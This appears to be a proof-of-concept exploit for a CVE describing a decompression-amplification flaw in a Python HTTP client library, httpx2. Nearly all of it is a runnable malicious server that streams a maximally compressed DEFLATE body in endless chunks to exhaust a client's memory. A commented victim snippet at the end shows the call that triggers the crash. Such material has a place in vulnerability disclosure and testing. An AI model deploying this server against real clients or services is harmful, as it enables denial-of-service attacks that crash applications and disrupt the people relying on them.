CVE-2026-84382: httpx2 Decompression Amplification (CWE-409)

# Attacker-controlled server: serve a maximally compressed DEFLATE body.
# One 64 KiB chunk expands to ~64 MiB per allocation; repeat chunks to exhaust RAM.

import zlib, socket, threading

RAW   = b"A" * 67_108_864          # 64 MiB of uncompressed data
BODY  = zlib.compress(RAW, level=9) # collapses to a few dozen KiB

RESPONSE = (
    b"HTTP/1.1 200 OK\r\n"
    b"Content-Encoding: deflate\r\n"
    b"Content-Type: application/octet-stream\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: keep-alive\r\n\r\n"
)

def send_forever(conn):
    conn.sendall(RESPONSE)
    # Send the compressed payload as a single chunk, repeatedly.
    # Each chunk triggers one ~64 MiB intermediate allocation in the client.
    chunk_hex = format(len(BODY), 'x').encode() + b"\r\n"
    while True:
        try:
            conn.sendall(chunk_hex + BODY + b"\r\n")
        except BrokenPipeError:
            break
    conn.close()

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", 8888))
server.listen(5)
print("Listening on :8888 — connect with httpx2 to trigger OOM")
while True:
    conn, _ = server.accept()
    threading.Thread(target=send_forever, args=(conn,), daemon=True).start()

# Victim process (httpx2 < 2.12.0):
# import httpx2
# with httpx2.stream("GET", "http://attacker:8888/") as r:
#     for chunk in r.iter_bytes():   # streaming does NOT protect you
#         pass                        # each chunk causes a ~64 MiB alloc